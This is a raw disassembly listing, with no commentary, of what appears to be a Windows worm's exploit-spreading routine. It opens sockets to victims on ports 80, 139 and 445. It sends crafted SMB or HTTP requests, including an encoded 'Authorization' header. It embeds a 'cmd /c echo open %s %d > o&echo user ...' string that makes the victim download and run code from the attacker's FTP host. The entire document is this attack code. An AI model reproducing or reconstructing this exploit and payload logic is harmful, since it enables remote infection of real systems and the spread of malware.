		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_43203C
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323A8
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323A4
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323A0
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_432394
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_43238F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9EC


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9D0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA24
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; ___:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320CC
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4320FC
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6EC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432044
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: ___:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432108
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432154[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: ___:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB88
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432300
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB710
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432198
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: ___:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: ___:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9D4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: ___:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: ___:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: ___:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: ___:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: ___:0040D69Aj
					; ___:0040D70Dj
		push	ebx
		call	dword_4CBA6C
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: ___:0040D657j
		push	3E8h
		nop
		call	near ptr 26803B2h


loc_40D737:				; CODE XREF: ___:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: ___:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40D765:				; CODE XREF: ___:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: ___:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; ___:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
